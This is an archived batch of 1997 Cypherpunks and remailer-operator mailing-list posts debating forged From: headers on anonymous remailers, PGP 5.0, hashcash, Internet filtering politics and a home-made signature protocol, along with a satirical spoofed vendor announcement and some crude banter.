> >purpose to restrict what can be pasted in, other than to reduce
> >complaints to the remailer operator possibly.
> 
> Too easy to be abused by forgers, as are Reply-To: and Sender:.

I'm not sure what the actual use of a "Sender:" header is, but pasting in a
"Reply-To:" header is not technically forgery, since it does not imply where
a message came From:.  It is only a suggestion where replies should be
directed.  When the From: and Reply-To: lines both exist, but differ, most
software gives the user an option of which address to reply to.  Thus, in the
final analysis the person replying makes and is responsible for the decision
as to where to send his reply.
 
> >My software shows be all headers.  I am not sure what other software
> >would do, probably, only display the first From field (the remailers).
> >  
> MSMail and other closed systems are generally quite arrogant
> about only showing you the mail headers they "know" you want to see,
> and discarding the rest, whether that's what you want or not.
> Lots of mail clients only show you one From:, either discarding  
> others or making them available in a "Show all headers" mode.

All the more reason to only allow pasting in the replacement mode.
   
> There are other remailer-like systems that provide mailboxes
> for anonymous retrieval; I think Jenaer does something like that.
> And then of course there are hotmail and juno :-)

That doesn't solve the problem of how to post with a NON-replyable
pseudonym, though.  It has been suggested that the practice of pasting in
a From: header should not be allowed because it is subject to abuse and
that this can better be accomplished through a 'nym server.  But if the
person doesn't want e-mail replies, why should a 'nym server be burdened with
maintaining a reply mechanism that the 'nym owner doesn't want to use?  Even
if the reply block is redirected to /dev/null@somedomain.com, handling
replies, incoming mail bombs, etc. is unnecessary work.

The fact that the remailer net has implemented source-level blocking upon
request means it already has more safeguards in place against "forgery" than
90% of the ISPs have.  It's quite ironic to see people like Gary Burnore
complain that allowing a remailer user to set an arbitrary From: is "abusive"
when the ISP he (and you) post from, Netcom, allows that very thing.

There are actually two valid reasons I can think of to paste in a From: header:
One is to post "from" a pseudonym without having to go through the 'nymserver.
For example, to make posts and send correspondence when the 'nym server is down
or to be able to post from a non-secure site without having to compromise
security by making one's PGP secret keyring accessible at that site.

The second reason would be to post using a non-replyable pseudonym.  Many
newsreaders gather only the headers of Usenet messages and list them by their
Subject: and From: lines.  Without the ability to set a From: line, one's posts
to a thread are indistinguishable from all the other ones from 
"nobody@replay.com".  If I want to call myself "Santa Claus", it's far easier
to paste in a "From: Santa Claus <sclaus@northpole.gov>" than to go to the trouble
of creating a replyable 'nym at a 'nym server just to put something recognizeable
in the From: header.

The problem with eliminating any feature that gets abused is that it's an open
invitation for someone to deliberately abuse it just to get it eliminated.
Whenever possible, a solution should be sought which eliminates abuse while still
allowing legitimate use.

- - --
Finger <comsec@nym.alias.net> for PGP public key.

- -----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQEVAwUBNIQzwwbp0h8ZvosNAQFLpgf+LS9VIGvUV3JKRHp+/ZtoRUkhNgH0h2Jg
tr/5gazeo+k0EHnaA/jvdnZ2HKSSkKguXaAnzejBnTtfvfQa38GcWBZsve/4fC9e
YAv80++wGj/0RhgwNEp8ovm57u5KQmybOqxmfeQ8H/cc8jyfhZEBGb2sxIbqvze5
NvzMGUHpKfUfduxo+kGeoOPOO+CkpM1sd5RmFSPojd6DgG3gNELjLD1jWLpZT7BC
YlBOJFh39ibssjQQO1lcLokdgqlDLQZWx1Lar9fyuWHlO5z+2wKkI+MICMkF32YE
dd3sPuhZxEGZGHyV+gybqm961G/7VctAXWrKlXuELb1HYUpsSkU+GA==
=Q+h9
- -----END PGP SIGNATURE-----

~~~
This PGP signature only certifies the sender and date of the message.
It implies no approval from the administrators of nym.alias.net.
Date: Tue Dec  2 17:00:03 1997 GMT
From: comsec@nym.alias.net

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEUAwUBNIQ+mE5NDhYLYPHNAQHVxQf3Y3DTPTUfLoQ/4qMM4Dxn58WS3zGQQpG3
+R6nVXONkQ5NpkSEdhoJDA8ANU9Xf/Bd0o1WtVhoTzutqULMUQjKKPKUtda/rxHh
IkhgeFHuTq8jYfLso0MQkWFDGusd3BKacChKF83Rp0s6lOUZw0gr+ejVQNK6jLR6
PCzu5arH+X5y/4kRL12mLk/q72wW6ghN28b/9ogL+P8dWVfQjpSkJBA77OX4bQqE
2EixaU9xOwUOcBWnvmukXaPZF2PQ99MGOVQ9xZrdP6TSpWcmgbW1gg0xBPn6uCkl
VD/TWTnCGMF86n0La85nx8/ypR6GxpyrcSrBpdkUdhgU61xmNXyS
=aLBH
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lutz@belenus.iks-jena.de (Lutz Donnerhacke)
Date: Wed, 3 Dec 1997 01:52:04 +0800
To: cypherpunks@Algebra.COM
Subject: Re: PGP 5.0 ConsensuS?? -- is it usable?
In-Reply-To: <199711282127.QAA27009@users.invweb.net>
Message-ID: <slrn688i4j.pbj.lutz@belenus.iks-jena.de>
MIME-Version: 1.0
Content-Type: text/plain



* William H. Geiger III wrote:
>   at 05:06 PM, lutz@belenus.iks-jena.de (Lutz Donnerhacke) said:
>>* Anonymous Remailer wrote:
>>>Do you think that it is a good idea to migrate from pgp 2.6.3 to
>>>pgp 5.0 now?
>
>>No.
>
>Care to justify that?

In which way? It's a clear statement.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 3 Dec 1997 07:36:22 +0800
To: cypherpunks@toad.com
Subject: Transforming Defense
Message-ID: <1.5.4.32.19971202231442.006cf65c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



The National Defense Panel presented yesterday to the 
Secretary of Defense its 95-page report on the future of 
US defense: 

   "Transforming Defense: National Security in the 21st Century."

It's available in PDF format at:

   http://www.dtic.mil/ndp/FullDoc.pdf  (386K)

The report proposes an impressive 30-year overhaul for the 
military, with a recommendation that the two-major-wars strategy 
be replaced with that of preparing for one major war and a host of 
more limited defenses overseas and at home to combat enemies 
who will not challenge superior conventional armaments but will 
utilize "asymmetrical" NBC weapons, terrorism, information 
warfare.

We've converted the Executive Summary to HTML:

   http://jya.com/ndp-pr.htm

And a section on "Homeland Defense" which proposes a role for 
military forces to "protect against all enemies foreign and domestic" 
by providing intelligence, training, equipment and other aid to 
justice and law enforcement.

   http://jya.com/home-def.htm

As noted in the NYT today, the report asks for a shakeup in
intelligence, with renewed emphasis on training human spies
to compensate for what technology cannot do.

Along that line, the NYT also reports today on a huge Libyan
deeply-buried pipeline system under construction which is 
suspected of being a distribution system for troops and equipment 
as well as CB weapons, placed underground to escape satellite
spies. The report is based on descriptions of engineers and
corporations working on the project.

One feature of the NDP report, as well as other closed defense
panel meetings, is the need for weapons to attack underground
structures -- like those vast catcombs in Lybia and North Korea,
and the US for that matter -- Cheyenne Mountain is still being
re-hardened regularly, and its electronics re-Tempested, not that 
the local skinheads will not find a way to hack the bunker as 
trusted EEs and sys admins.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Network Associates, Inc." <neta@dev.null>
Date: Wed, 3 Dec 1997 08:35:14 +0800
To: cypherpunks@toad.com
Subject: Network Associates Announcement!!!
Message-ID: <3484A4BC.1054@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



~
	NETWORK ASSOCIATES ANNOUNCEMENT
	-------------------------------

Network Associates, Inc., is proud to announce that we have named
TruthMonger<toto@sk.sympatico.ca> our Chief Director of Security,
adding his (or her) immense reputation capital to our already 
respected corporate image.

No communications purporting to be from Network Associates, Inc.,
should be considered valid unless signed by the key provided
below.

TruthMonger is also authorized to accept payment, in cash only,
of any money due to Network Associates, Inc., and all of our
subsiduaries, at the following address:
	NETA c/o TruthMonger
	Box 281,
	Bienfait, Saskatchewan
		CANADA  S0C 0M0

Network Associates, Inc., plans to use TruthMonger's extensive
key-forging experience to help make digital signatures basically
meaningless, in order to help lessen the potential legal and/or
criminal repercussions of any future Key Escrow legislation.


-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

mQGiBDSEmSYRBADgXaNjJkY7NmVjhXJGg0+8Sua4oYJ+tkG959T1lYFsCLVity0V
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AEYEGBECAAYFAjSEmSsACgkQN9eL4uH1UpoCiACgnAXXUm5yyak30HJL1FeYdh0B
xekAnA/VnnGkzVY1kQRQNpWQXdHdpL5F
=3BX/
-----END PGP PUBLIC KEY BLOCK-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 3 Dec 1997 10:30:31 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Minsky skeptical of privacy
In-Reply-To: <199712030029.BAA27972@basement.replay.com>
Message-ID: <v03102810b0aa62a64ef9@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:29 PM -0700 12/2/97, Anonymous wrote:

>Sore nerve in a glass house, eh?  Charming Minsky still does a
>Denning.  Trillion dollar pork barrel: some gives, some takes.  Not
>both.  Every rat pulls the lever, gets the pellet.
>
>Monty Cantsin
>Editor in Chief
>Smile Magazine


Monty Cantsin =  John Young?

My stylometer is pegged at "100%."


(On the other hand, even I can sometimes imitate John Young...read enough
of him and the patterns and cadence sort of emerge. I won't try it here,
though.)

--Tim May



The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Randall Farmer <rfarmer@HiWAAY.net>
Date: Wed, 3 Dec 1997 10:25:43 +0800
Subject: Re: Question for the [obscene Star Wars reference deleted]
In-Reply-To: <199712022327.PAA25103@rentec.com>
Message-ID: <Pine.OSF.3.96.971202195308.22956A-100000@fly.HiWAAY.net>
MIME-Version: 1.0
Content-Type: text/plain



> > What is the best windows shell I can acquire to run PGP
> > if I have windows 3.1?  If I have windows 95?  Thanks!
> 
> In both cases the best shell to have is a shotgun shell.

Naah, that'll wreak havoc with the win95 registry...Private Idaho is supposed
to be fairly good. 

<http://www.eskimo.com/~joelm/pi.html>

> Rick
> 

---------------------------------------------------------------------------
Randall Farmer
    rfarmer@hiwaay.net
    http://hiwaay.net/~rfarmer







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Charlie Comsec <comsec@nym.alias.net>
Date: Wed, 3 Dec 1997 04:28:38 +0800
To: remailer-operators@anon.lcs.mit.edu
Subject: Re: Pasting in From:
Message-ID: <19971202202007.11359.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

"Robert A. Costner" <pooh@efga.org> wrote:

> >But you don't need a special anonymity server to do that;
> >a keyserver plus either a personna certificate or some archiving mechanism is enough.
> >The certificate shows that you're the first+only person at that
> >certificate issuer to use the name you've chosen; the archive
> >shows that the first poster using the name <nym> used PGP Key <key>.
> >I have a PGP key I use for signing pseudonyms which performs
> >the personna certificate function - I'll verify uniqueness
> >of keys that I've signed.
>  
> I was thinking of remailers sending out anon messages with a distinct from
> line that has zero connection (in the nym database) to any email address.
> Is this possible?  To establish a nym only through one way communication?

I can think of a couple of ways this could be implemented.  You could either
allow the user to select an e-mail address to use, then do an nslookup to 
verify that the domain does not exist, or else choose a domain that's actually 
nothing but a bit bucket.  The cleanest implementation might be to create a 
"bitbucket.efga.org", alias all incoming mail (except for perhaps "postmaster") 
to /dev/null, then assign  non-replyable 'nyms off of that.  That would 
eliminate the need for managing reply blocks and confirmation cookies.

This is much more preferable to these people you see who post with a From:
address of "nobody@nowhere.com", probably not realizing that nowhere.com is
actually a real domain.

But implementing such a server is still a lot more work than simply allowing
From: headers to be pasted and allowing source blocking for anyone who is
worried about being the victim of abuse of such a scheme.
  
- ---
Finger <comsec@nym.alias.net> for PGP public key (Key ID=19BE8B0D)

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQEVAwUBNIRgZwbp0h8ZvosNAQGC7gf+PRUB+6Zuxns3E+BWZoM3kkzn4MD9vcip
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apoUG3Ds7kiIUoZ9gLz01sYvRRaWelIjIZLp+RfnMPvtwXexP2uA8Q==
=+uAL
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 3 Dec 1997 04:55:49 +0800
To: mail2news@myriad.alias.net
Subject: Re: Pasting in From:
In-Reply-To: <Pine.LNX.3.94.971130135656.6085F-100000@neptune.chem.uga.edu>
Message-ID: <199712022035.VAA25203@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



gburnore+NOspam@netcom.com (Gary L. Burnore)

> :If Gary Burnore is so concerned about "forgery", maybe he ought to
> :start using that PGP key he keeps advertising in his .sig to
> :actually sign his posts.  Unless he does, he's still vulnerable to
> :forgery from his fellow Netcom users who are still allowed to insert
> :arbitrary From:  lines in their Usenet posts.  Actually, forging a
> :post with Gary Burnore's name and address in the From:  line can be
> :much more convincingly (no disclaimers) done from a throwaway
> :Netcruiser account, and with less effort than learning the proper
> :protocol to do it through a remailer.
>  
>  
> Please specify how PGP signing the inside of a post will stop  UCE-Baiting.

PGP signing a post is a lot like the new anti-counterfeiting measures in US
currency, only a lot more effective.  But if some bozo decides to start printing
up three dollar bills with a portrait of Mickey Mouse, and others are
foolish enough to accept them, what are you going to do?  It's hard to protect
people from their own stupidity.  I'd contend that a $3 bill isn't even a
counterfeit or forgery, since there is not genuine equivalent which it seeks to
fraudulently duplicate.

Maybe it's time that the brain-dead software that mindlessly harvests e-mail
addresses from the net was shut down.  That sounds like the real problem.
 
> :Munging of addresses is better left to the discretion of the poster.
> :Let those who perceive a need for this "capability" use it.  At
> :least one of the mail2news gateways implements that as an option for
> :those desiring it.  I'm in favor of leaving that choice with the
> :poster.
>    
> Please specify how PGP signing the inside of a post will stop UCE-Baiting.

I'm not sure what comment you intended to make about that paragraph, since it
appears that you inadvertantly pasted in your comment from the last paragraph
again.  The text you're supposedly commenting on nowhere mentions PGP.
   
> :Mr. Burnore made a similar "forgery" complaint here several months
> :ago and was advised to PGP sign his posts and request source-level
> :blocking if he perceived forgery to be a problem.  He has evidently
> :not taken the trouble to implement the first suggestion and,
> :assuming he took the second suggestion, he's posted no evidence to
> :suggest that it's not been effective.
>    
> The second has been effective. I've not denied that. 

Since you've already found a solution to the problem that works, there seems
to be no need to do anything more drastic to solve it.
   
> I can see however, that
> allowing anon posts with someone elses' address in the from line is a great
> tool for UCE-Baiting. I fail to see any other reason for it in an anonymous
> post.  What other reason would there be for putting a REAL email address in
> the from line of an ANONYMOUS post?

For one thing, to identify posts as originating from one's pseudonym, which 
*MIGHT* be a "real" e-mail address.  Most times I've seen it used, though, it has 
been used to place identifying information in the From: field which many newsreaders 
use to identify posts so that they are recognizeable by the reader.

> Again, it's nothing to do with the CONTENT. It has more to do with the ability
> to post to an mlm group with someone elses' email address.  Oh, and btw, if a
> NETCOM customer is caught doing this, his/her account is terminated.

The key word there is "caught", and then you'd have to convince Netcom to actually
do something about it.  It is my understanding that spammers routinely utilize
Netcom's OPEN SMTP SERVERS to send out their spam, using whatever From: field they
wish, and Netcom doesn't seem to care.  Anyone using those same servers to send mail 
to a mail2news gateway could forge someone's name and e-mail address to a Usenet post, 
couldn't they?

Also, even if a complaint to Netcom got an individual account shut down, that wouldn't
stop some other Netcom user from doing the same thing, nor would it stop the first
Netcom user from opening another account under a phony name and repeating the
process, or even doing it from a non-Netcom account.  So if my e-mail address were
being forged via Netcom, would they be able to source-block it as the remailers
currently can do?  If not, doesn't your own ISP have a bigger abuse potential than the
remailer net?
 
> AGAIN  IT'S NOT FORGERY  THAT'S A PROBLEM. IT'S UCE BAITING. 
         ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

There's no need to shout.  Perhaps you've forgotten two earlier posts you made to
this NG in the past couple of weeks in which you said:

-> Subject: Re: Controlling the From: line in PIdaho
-> 
-> Hopefully replay has corrected this as others have suggested so that the above
-> CAN'T be done.  It's a simple way to forge someone else's name.  Early last
                                        ^^^^^
-> year comes to mind.
->
-> [...]
->      
-> Posting anonymously is a valid thing to do, posting with someone else's name
-> in the From line is simply forgery.   Try sending your message from a hotmail
                              ^^^^^^^
-> address or other site where you can just make up a name if you want this sort
-> of thing.

And in another post:

-> Subject: Re: 'from' other than anonymous
-> 
-> [...]
-> 
-> Again, a forged from line (Forged as in someone's _REAL_ email address shows
            ^^^^^^            ^^^^^^
-> up) is a BAD THING.

You claimed to be concerned about FORGERY back then, now you're saying "IT'S NOT 
FORGERY THAT'S A PROBLEM".  Which is the case?
 
> AGAIN. Please specify how PGP signing a post will stop UCE Baiting based soley
> on the from line.

But you were given two solutions, so if one of them works, then you don't need the
other one.

--





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>Ayamura Kikuchi <ayamura@ayamura.org>
Date: Tue, 2 Dec 1997 22:11:18 +0800
To: cypherpunks@toad.com
Subject: [Fwd: [cpj:279] Re: PGP 5.0i for Windows95/NT][cpj:279] Re: PGP 5.0i for Windows95/NT
In-Reply-To: <199712012335.IAA18844@success.isid.co.jp>
Message-ID: <348412DA.D8D@dev.null>
MIME-Version: 1.0
Content-Type: message/rfc822



> PGP 5.0i for Windows95/NT source code & binary are 
> available now.
> 
> http://www.pgpi.com/

	ftp://ftp.jp.pgpi.com/pub/pgp/5.0/international/win95nt/
		pgp50i-win95nt-src.zip (4,126,514 bytes)
		pgp50i-win95nt.zip (2,732,657 bytes)

	temporarily available for SINET :)
		ftp://honey.q.t.u-tokyo.ac.jp/pub/pgp/5.0/

-- ayamura









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Wed, 3 Dec 1997 14:47:11 +0800
To: "snow" <snow@smoke.suba.com>
Subject: Re: Freemen and Serfs
In-Reply-To: <199712011615.RAA06313@basement.replay.com>
Message-ID: <199712030747.XAA01567@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:02 AM 12/3/97 -0600, snow wrote:

>	Who was using the internet to make more money 5 years ago? 10?

David Rhodes?


---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Charlie Comsec <comsec@nym.alias.net>
Date: Wed, 3 Dec 1997 07:21:23 +0800
To: remailer-operators@anon.lcs.mit.edu
Subject: Re: Pasting in From:
Message-ID: <19971202230005.20270.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

stewarts@ix.netcom.com (Bill Stewart) wrote:
 
> At 12:14 AM 12/01/1997 -0500, Robert A. Costner wrote:
> >Best I can tell, the only reasonable good purpose for this is to create a
> >persistent nym identity without a reply to capability.
>  
> Actually, setting the reply to point to your nymserver address
> is the one legitimate use I can see for it, though that
> capability probably should be provided by the nymserver.
> The reason for chaining through remailers is to gain anonymity.

I can think of a couple of scenarios in which pasting in a From:
header pointing to a 'nym might be advantageous:

1.)  Posts when the nymserver is down, or;

2.)  Posts from an insecure location where installation of one's secret
     keyring is not desirable.  (The "newnym" servers require that send
     requests be PGP-signed with the nym's secret key.)
  
- ---
Finger <comsec@nym.alias.net> for PGP public key (Key ID=19BE8B0D)

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQEVAwUBNIRnYwbp0h8ZvosNAQE6Xwf/SJQbKnIhFSP2nXd7dBQauf5ygoIrGqOt
6vFW644xxELC37iwW5tWI7Cr0N1Ipk9Py1UDzHSNYEeUGqUxgWGQ8BZhoNRg9i2t
pqTr/YIRTjVxPETidpnKhyUgL6lz3bESpdiQLAKm1VwdWV3OhtNTlzL/Wu1hO33W
+IxisotkksQ+OsCrfdkBRu6FarS90LGWa7Zqo3xNHZs599P/tVMrc2BYq7znXcZX
gG4YwUhL2qWZJDhiWpTVWb/OH0Cq1UCnc/7AgMBjbQFt0ZCHghJXxc4DfmUG9L6J
MHmpv82j7th8roMjM3FRGUzaqJxVBSoBKZPyBuRaLMgiaaupWku5EQ==
=ZqJJ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 3 Dec 1997 09:32:56 +0800
To: JonWienk@ix.netcom.com
Subject: Re: Pasting in From:
In-Reply-To: <3.0.3.32.19971201204450.006c596c@popd.netcruiser>
Message-ID: <199712030033.AAA01161@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Jon Weinke <JonWienk@ix.netcom.com> writes:
> Sounds like a good reason for remailers to use throwaway email accounts at
> Juno, MailExcite, Yahoo, etc. as their exit points.  Wasn't somebody
> working on this?

Ian Goldberg wrote some perl code to do it for a couple of the web
based ones.  I think some of the remailers are using it.

Adam





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 3 Dec 1997 09:23:50 +0800
To: pooh@efga.org
Subject: hashcash spam throttle
In-Reply-To: <3.0.3.32.19971202094253.037e0654@mail.atl.bellsouth.net>
Message-ID: <199712030044.AAA01172@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Robert A. Costner <pooh@efga.org> writes:
> It's much like spam.  It's a very shortsighted view when a user says "why
> can't you just hit the delete button?"  This is an incorrect answer for a
> user who received one piece of spam, but whose small ISP, being the relay,
> lost all mail services for two days.

See HashCash: http://www.dcs.ex.ac.uk/~aba/hashcash/

Hashcash ensures that the would be spammer has to consume more
resources than you do.  Hashcash is arbitrarily expensive to create
and cheap to verify.  It's also decentralised and anonymous.

Adam





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 3 Dec 1997 14:01:01 +0800
To: "Michael Sims" <jellicle@inch.com>
Subject: Re: CDT and the Threat of Gov't Intervention
In-Reply-To: <199712021617.LAA28265@arutam.inch.com>
Message-ID: <v03007806b0aaa1dbbe69@[204.254.21.129]>
MIME-Version: 1.0
Content-Type: text/plain



Besides demonstrating that cyberporn is a topic that will
never disappear, the Kids and the Net summit has
highlighted the tensions between the different types of
Net-advocacy groups here in Washington.

The civil liberties groups (ACLU, EPIC, EFF, CPSR), and
journalism, publishers, and media groups have lined up on
one side [http://www.ifea.org/] saying the government
shouldn't pressure the Internet to self-censor (or be
censored by the Feds). They held a counter-summit press
conference yesterday. Even the libertarian Cato Institute
is in this corner.

On the other side, the Center for Democracy and Technology
[http://www.cdt.org/] is participating in the summit along
with antiporn groups, high tech firms, and "censorware"
vendors. CDT says that the Net needs to self-regulate or
face the wrath of the U.S. Congress. (Folks at CDT
generally take pro-industry positions and have been
involved in many compromises in the past: wiretapping,
"harmful to minors," and jail time for use of encryption in
a crime.) CDT, however, has called for the development of
multiple rating systems.

You could easily tell the difference between the two
outlooks today. ACLU associate director Barry Steinhardt
and CDT director Jerry Berman debated this afternoon. "If
we sit back and we offer nothing... that's not a solution
for the American public," Berman said. He said that CDT is
"looking to balance free speech rights" with other values.

-Declan


At 11:04 -0400 12/2/97, Michael Sims wrote:
>What "they" are saying:
>
>SF Chronicle:
>
>"Internet Self-Regulation Draws Wide Praise But advocates for free
>speech call for extreme caution
>
>Jon Swartz, Chronicle Staff Writer
>
> Civil libertarians and porn peddlers yesterday praised the Internet
>industry's attempt at sweeping self-regulation to keep smut out of
>the hands of children and the government at arms' length. ..."
>
>
>Civil libertarians praised sweeping self-regulation, eh?  I hope
>everyone realizes this is CDT that is doing this.  They continue to
>claim they are a civil liberties group, and continue to push for
>restrictions on civil liberties.  Has the ACLU considered setting up
>a group which describes itself as "conservative and pro-family" in
>its press releases and pushes continually for the elimination of
>censorware and ratings?  Such a trojan horse group could hardly do as
>much damage to the censor crowd as CDT continues to do to the
>free-speech crowd, but perhaps it would achieve some measure of
>compensation.
>
>"Pros: [of "filtering"]  Filtering does block out almost all
>inappropriate material."
>
>I sure am glad our message is getting out.
>
>"Education. A series of TV spots and school-sponsored programs
>touting filtering software will debut next fall."
>
>What a treat.  Bennett?  Know anything about this one?
>
>
>Plenty more to come on this subject, I'm sure.
>
>
>-- Michael Sims







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "snow" <snow@smoke.suba.com>
Date: Wed, 3 Dec 1997 14:03:51 +0800
To: cypherpunks@Algebra.COM
Subject: Re: If you fought to defend your country...
In-Reply-To: <H8B2ge27w165w@bwalk.dm.com>
Message-ID: <199712030658.AAA00328@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



> "snow" <snow@smoke.suba.com> writes:
> > Vulis said:
> > > Only 2 inches are required to reach the prostate.  Anything over that
> > > is just windows dressing.
> > 	Sounds like the voice of experience to me.
> That's right - I habitually fuck Chris Lewis in the ass with a dildo.

	Why, your's not long enough to reach the prostate?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "snow" <snow@smoke.suba.com>
Date: Wed, 3 Dec 1997 14:06:44 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Freemen and Serfs
In-Reply-To: <199712011615.RAA06313@basement.replay.com>
Message-ID: <199712030702.BAA00352@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



> How, exactly?  We're not talking about computers as "the technology".
> We mean anonymous remailers, digital cash, Chaumian credentials,
> steganography, and other cypherpunk technologies.  Who is using these
> technologies to make more money today?  Almost no one.  The reason is

	Who was using the internet to make more money 5 years ago? 10?

	Think long term.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 3 Dec 1997 08:35:16 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Minsky skeptical of privacy
Message-ID: <199712030029.BAA27972@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



>Monty Cantsin wrote:
>>Incidentally, does anybody know what percentage of the research
>>funding Marvin Minsky has used in his career was directly or
>>indirectly related to the defense establishment?
>>
>>The interesting thing about the privacy "debate" is that there is an
>>exceptionally high correlation between opposition to privacy and the
>>consumption of public money.
>
>Monty's customary reasonableness goes bizarro with these statements.
>
>In that direct or indirect defense funding implicates just about
>every US citizen, even world denizen, not holed up in a treetop for
>the last half century of national security octopussing.

Sore nerve in a glass house, eh?  Charming Minsky still does a
Denning.  Trillion dollar pork barrel: some gives, some takes.  Not
both.  Every rat pulls the lever, gets the pellet.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

Subject: Re: Minsky skeptical of privacy
To: cypherpunks@algebra.com
25BA1A9F5B9010DD8C752EDE887E9AF3 [Cantsin Protocol No. 2]
94C43229A76383D818D39952F7A41ACA0394C6FE
580A9FF819A9D82ED73411168CA833871952D312
-40B 40B
27BED6C64DBFC666B520211E8B6168187BC898CDCA837C27A86C616D5CA30A51795F68AE548F8F743385A69AA748A9DA8D96AF95A34335716A2F761187D13677CE00A7D7998EA2F3C9DA8D6937704F8EC0C7BF03563EAEAACE767F5E9504F63840C37533AD75E7BBA867C8FA993AE476B15EE3B456EB0805747A39F1DA34F6AC3305BCCCA646D21E6CE91ABF2E80DA53379D0C81B132BED4664BEE496C4F3F6158FE5F48FE31054F99BDC66BE9A21EB001B226C6C8B1F5A901CBC344A42893D1B8815C27A8F14E83550D14258F4583729FFA48F26DC07BA5EF696F8CF52488AA45B0607A2D96097C7580C3159483F6DA1544B4ABA47FE3E89AA5520D024BD26F
D4E4B3DD06B34B9E0075A6155DCA73CA39D66BA46E8C9F59FB2FF085E2FBEA588A605263DF1F41F33E10DD052DE34A890DCEAFDC9BB969A21B39DA034EBE44A94F18182D8C44BEDD0F2536A65906ED82C6D86D6B2F986D67128E8032A73CD8495FE8760CDF2A41F5C174AC2E1649116A46A338E1CC70179893AAD552F37ECBE3BDB83C40F10C37CADA3C60AC765A3F606FD2E9EB26C70F3B759870E129745F74D3BB46D06254AFAA7F0718981271DFBDC804A89F509CE27F2B2B0CF106C4738D03D5F22F093D421F5B5FD495D18722A2F6A802AC697810AAFE3EB50D47EFCC315E0C53B0B23CC45E47B45976B6F114139EB6C134F052B377C7668E83BB29B19






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 3 Dec 1997 08:44:09 +0800
To: cypherpunks@Algebra.COM
Subject: Cantsin Protocol No. 2
Message-ID: <199712030038.BAA29410@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous <anon@anon.efga.org> wrote:
>Monty Cantsin writes:
>> You can't see it up here, but this is a signed message using a
>> protocol which is modestly titled "Cantsin Protocol No. 1".
>> Suggestions for improvement are most welcome.
>
>A very interesting idea!  Please consider the following suggestions
>if you like, or feel free to ignore them.

Your suggestions were very helpful.  Thank you for making them!

I'm calling the latest version "Cantsin Protocol No.2" and its
identifying number is "25BA1A9F5B9010DD8C752EDE887E9AF3".

It is similar to Cantsin Protocol No. 1, but the bug with the hash of
the public key is fixed.  Instead of concatenating the values p, g,
and y, you concatenate "p:<p> g:<g> y:<y>" and compute the hash.  p,
g, and y should be represented as ASCII hexadecimal digits without
leading 0s.

The hashes should now be correct SHA1 hashes.

>One problem with signatures which have no indication at the top is
>that two passes over the data are necessary: the first to scan and
>find the start-of-signature indicator, and another to go back and
